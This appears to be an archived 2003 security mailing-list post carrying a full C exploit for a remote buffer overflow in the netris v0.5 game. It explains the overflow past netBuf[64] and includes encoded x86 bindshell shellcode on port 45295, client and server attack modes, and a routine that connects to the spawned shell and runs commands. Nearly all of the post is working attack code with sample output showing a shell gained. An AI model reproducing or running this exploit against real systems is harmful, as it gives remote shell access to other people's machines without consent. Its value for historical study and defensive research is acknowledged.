netris[v0.5]: client/server remote buffer overflow exploit.

From: Vade 79 (v9at_private)
Date: Wed Aug 13 2003 - 13:18:28 PDT

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    /*[ netris[v0.5]: client/server remote buffer overflow exploit. ]*
     *                                                               *
     * by: vade79/v9 v9at_private (fakehalo/realhalo)     *
     *                                                               *
     * netris homepage/URL:                                          *
     *  http://www.netris.org                                        *
     *  ftp://ftp.netris.org (v0.52 fixes this bug)                  *
     *                                                               *
     * compile:                                                      *
     *  cc xnetris.c -o xnetris                                      *
     *                                                               *
     * this exploits the netris buffer overflow found roughly a year *
     * ago(http://www.securityfocus.com/bid/5680), and recently      *
     * brought up again, in client-side form. (same code)            *
     *                                                               *
     * when the MyEventType() function is done, the contents of the  *
     * buffer can continue on past netBuf[64], into other data       *
     * segments.  however, the segment right after                   *
     * netBuf[64](netBufSize[4]) will be changed to 0x00000000,      *
     * after the overflow has taken place.  so, instead of using 64  *
     * byte shellcode, we will skip the first 68 bytes(filler).      *
     * this will look like so:                                       *
     *                                                               *
     *  memory:  [netBuf(64)][netBufSize(4)]...[other data segments] *
     *  exploit: [68 filler bytes][nops][shellcode][return address]  *
     *                                                               *
     * since the same inet code is used both for the server, and     *
     * the client; i made this exploit to do both, with no memory    *
     * changes.                                                      *
     *                                                               *
     * when this exploits successfully, netris will display "Network *
     * negotiation failed", and idle until netris is closed(running  *
     * bindshell). (for both client, and server exploitation)        *
     *                                                               *
     * examples(client/server):                                      *
     *  # ./xnetris -b                                               *
     *  [*] netris[v0.5-]: client/server remote buffer overflow exp$ *
     *  [*] by: vade79/v9 v9at_private (fakehalo)         *
     *                                                               *
     *  [*] awaiting connection from: *:9284.                        *
     *  [*] netris server connection established.                    *
     *  [*] netris server connection closed.                         *
     *  [*] checking to see if the exploit was successful.           *
     *  [*] attempting to connect: 127.0.0.1:45295.                  *
     *  [*] successfully connected: 127.0.0.1:45295.                 *
     *                                                               *
     *  Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 E$ *
     *  uid=500(v9) gid=500(v9) groups=500(v9)                       *
     *                                                               *
     *  # ./xnetris localhost                                        *
     *  [*] netris[v0.5-]: client/server remote buffer overflow exp$ *
     *  [*] by: vade79/v9 v9at_private (fakehalo)         *
     *                                                               *
     *  [*] attempting to connect: localhost:9284.                   *
     *  [*] successfully connected: localhost:9284.                  *
     *  [*] checking to see if the exploit was successful.           *
     *  [*] attempting to connect: localhost:45295.                  *
     *  [*] successfully connected: localhost:45295.                 *
     *                                                               *
     *  Linux localhost.localdomain 2.4.2-2 #1 Sun Apr 8 20:41:30 E$ *
     *  uid=500(v9) gid=500(v9) groups=500(v9)                       *
     *                                                               *
     * (tested on redhat/7.1, and gentoo/r5; netris-0.5 source.      *
     * should work out of the box on linux/x86(+-2048 nop room).  if *
     * not, check the RETADDR define comment)                        *
     *****************************************************************/ 
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <strings.h>
    #include <signal.h>
    #include <unistd.h>
    #include <netdb.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/time.h>
    #include <netinet/in.h>
    #include <arpa/inet.h>
    #define BUFSIZE 12800 /* filler+nop+shellcode+return addr buffer size.  */
    #define RETADDR (0x08051e20+68+2048) /* objdump -x netris | grep netBuf */
    #define DFLPORT 9284 /* default netris port.                            */
    #define TIMEOUT 10 /* connection timeout. (generic as always)           */
    static char x86_exec[]= /* bindshell(45295)&, netric/S-poly.            */
     "\x57\x5f\xeb\x11\x5e\x31\xc9\xb1\xc8\x80\x44\x0e\xff\x2b\x49\x41\x49\x75"
     "\xf6\xeb\x05\xe8\xea\xff\xff\xff\x06\x95\x06\xb0\x06\x9e\x26\x86\xdb\x26"
     "\x86\xd6\x26\x86\xd7\x26\x5e\xb6\x88\xd6\x85\x3b\xa2\x55\x5e\x96\x06\x95"
     "\x06\xb0\x25\x25\x25\x3b\x3d\x85\xc4\x88\xd7\x3b\x28\x5e\xb7\x88\xe5\x28"
     "\x88\xd7\x27\x26\x5e\x9f\x5e\xb6\x85\x3b\xa2\x55\x06\xb0\x0e\x98\x49\xda"
     "\x06\x95\x15\xa2\x55\x06\x95\x25\x27\x5e\xb6\x88\xd9\x85\x3b\xa2\x55\x5e"
     "\xac\x06\x95\x06\xb0\x06\x9e\x88\xe6\x86\xd6\x85\x05\xa2\x55\x06\x95\x06"
     "\xb0\x25\x25\x2c\x5e\xb6\x88\xda\x85\x3b\xa2\x55\x5e\x9b\x06\x95\x06\xb0"
     "\x85\xd7\xa2\x55\x0e\x98\x4a\x15\x06\x95\x5e\xd0\x85\xdb\xa2\x55\x06\x95"
     "\x06\x9e\x5e\xc8\x85\x14\xa2\x55\x06\x95\x16\x85\x14\xa2\x55\x06\x95\x16"
     "\x85\x14\xa2\x55\x06\x95\x25\x3d\x04\x04\x48\x3d\x3d\x04\x37\x3e\x43\x5e"
     "\xb8\x60\x29\xf9\xdd\x25\x28\x5e\xb6\x85\xe0\xa2\x55\x06\x95\x15\xa2\x55"
     "\x06\x95\x5e\xc8\x85\xdb\xa2\x55\xc0\x6e";
    char *getcode(void);
    char *netris_bind(unsigned short);
    unsigned short netris_connect(char *,unsigned short);
    void getshell(char *,unsigned short);
    void printe(char *,short);
    void sig_alarm(){printe("alarm/timeout hit.",1);}
    int main(int argc,char **argv){
     unsigned short isbind=0,nport=DFLPORT; /* default. */
     char *hostptr;
     printf("[*] netris[v0.5-]: client/server remote buffer overflow ex"
     "ploit.\n[*] by: vade79/v9 v9at_private (fakehalo)\n\n"); 
     if(argc<2){
      printf("[!] syntax: %s <host|-b> [port]\n",argv[0]);
      exit(1);
     }
     if(!strcmp(argv[1],"-b"))
      isbind=1;
     if(argc>2)
      nport=atoi(argv[2]);
     if(isbind)
      hostptr=netris_bind(nport);
     else
      netris_connect((hostptr=argv[1]),nport);
     sleep(1);
     getshell(hostptr,45295); /* defined in shellcode. */
     exit(0);
    }
    char *getcode(void){
     unsigned int i=0;
     char *buf;
     if(!(buf=(char *)malloc(BUFSIZE+1)))
      printe("getcode(): allocating memory failed.",1);
     /* fill the buffer with the return address.       */
     for(i=0;i<BUFSIZE;i+=4){*(long *)&buf[i]=RETADDR;}
     /* netBuf[64] + 4 = netBufSize = 0x00000000.      */
     memset(buf,0x78,68); /* netBuf+netBufSize filler. */
     memset(buf+68,0x90,4096); /* 4096 nops/guesses.   */
     memcpy(buf+68+4096,x86_exec,strlen(x86_exec));
     return(buf);
    }
    char *netris_bind(unsigned short port){
     int ssock=0,sock=0,so=1;
     unsigned int salen=0;
     struct sockaddr_in ssa,sa;
     ssock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     setsockopt(ssock,SOL_SOCKET,SO_REUSEADDR,(void *)&so,sizeof(so));
    #ifdef SO_REUSEPORT
     setsockopt(ssock,SOL_SOCKET,SO_REUSEPORT,(void *)&so,sizeof(so));
    #endif
     ssa.sin_family=AF_INET;
     ssa.sin_port=htons(port);
     ssa.sin_addr.s_addr=INADDR_ANY;
     printf("[*] awaiting connection from: *:%d.\n",port);
     if(bind(ssock,(struct sockaddr *)&ssa,sizeof(ssa))==-1)
      printe("could not bind socket.",1);
     listen(ssock,1); 
     bzero((char*)&sa,sizeof(struct sockaddr_in));
     salen=sizeof(sa);
     sock=accept(ssock,(struct sockaddr *)&sa,&salen);
     close(ssock);
     printf("[*] netris server connection established.\n");
     write(sock,getcode(),BUFSIZE);
     sleep(1);
     close(sock);
     printf("[*] netris server connection closed.\n");
     return(inet_ntoa(sa.sin_addr));
    }
    unsigned short netris_connect(char *hostname,
    unsigned short port){
     int sock;
     struct hostent *t;
     struct sockaddr_in s;
     sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
     s.sin_family=AF_INET;
     s.sin_port=htons(port);
     printf("[*] attempting to connect: %s:%d.\n",hostname,port);
     if((s.sin_addr.s_addr=inet_addr(hostname))){
      if(!(t=gethostbyname(hostname)))
       printe("couldn't resolve hostname.",1);
      memcpy((char*)&s.sin_addr,(char*)t->h_addr,
      sizeof(s.sin_addr));
     }
     signal(SIGALRM,sig_alarm);
     alarm(TIMEOUT);
     if(connect(sock,(struct sockaddr *)&s,sizeof(s)))
      printe("netris connection failed.",1);
     alarm(0);
     printf("[*] successfully connected: %s:%d.\n",hostname,port);
     write(sock,getcode(),BUFSIZE);
     sleep(1);
     close(sock);
     return(0);
    }
    void getshell(char *hostname,unsigned short port){
     int sock,r;
     fd_set fds;
     char buf[4096+1];
     struct hostent *he;
     struct sockaddr_in sa;
     printf("[*] checking to see if the exploit was successful.\n");
     if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==-1)
      printe("getshell(): socket() failed.",1);
     sa.sin_family=AF_INET;
     if((sa.sin_addr.s_addr=inet_addr(hostname))){
      if(!(he=gethostbyname(hostname)))
       printe("getshell(): couldn't resolve.",1);
      memcpy((char *)&sa.sin_addr,(char *)he->h_addr,
      sizeof(sa.sin_addr));
     }
     sa.sin_port=htons(port);
     signal(SIGALRM,sig_alarm);
     alarm(TIMEOUT);
     printf("[*] attempting to connect: %s:%d.\n",hostname,port);
     if(connect(sock,(struct sockaddr *)&sa,sizeof(sa))){
      printf("[!] connection failed: %s:%d.\n",hostname,port);
      return;
     }
     alarm(0);
     printf("[*] successfully connected: %s:%d.\n\n",hostname,port);
     signal(SIGINT,SIG_IGN);
     write(sock,"uname -a;id\n",13);
     while(1){
      FD_ZERO(&fds);
      FD_SET(0,&fds);
      FD_SET(sock,&fds);
      if(select(sock+1,&fds,0,0,0)<1)
       printe("getshell(): select() failed.",1);
      if(FD_ISSET(0,&fds)){
       if((r=read(0,buf,4096))<1)
        printe("getshell(): read() failed.",1);
       if(write(sock,buf,r)!=r)
        printe("getshell(): write() failed.",1);
      }
      if(FD_ISSET(sock,&fds)){
       if((r=read(sock,buf,4096))<1)
        exit(0);
       write(1,buf,r);
      }
     }
     close(sock);
     return;
    }
    void printe(char *err,short e){
     printf("[!] %s\n",err);
     if(e)
      exit(1);
     return;
    }
    



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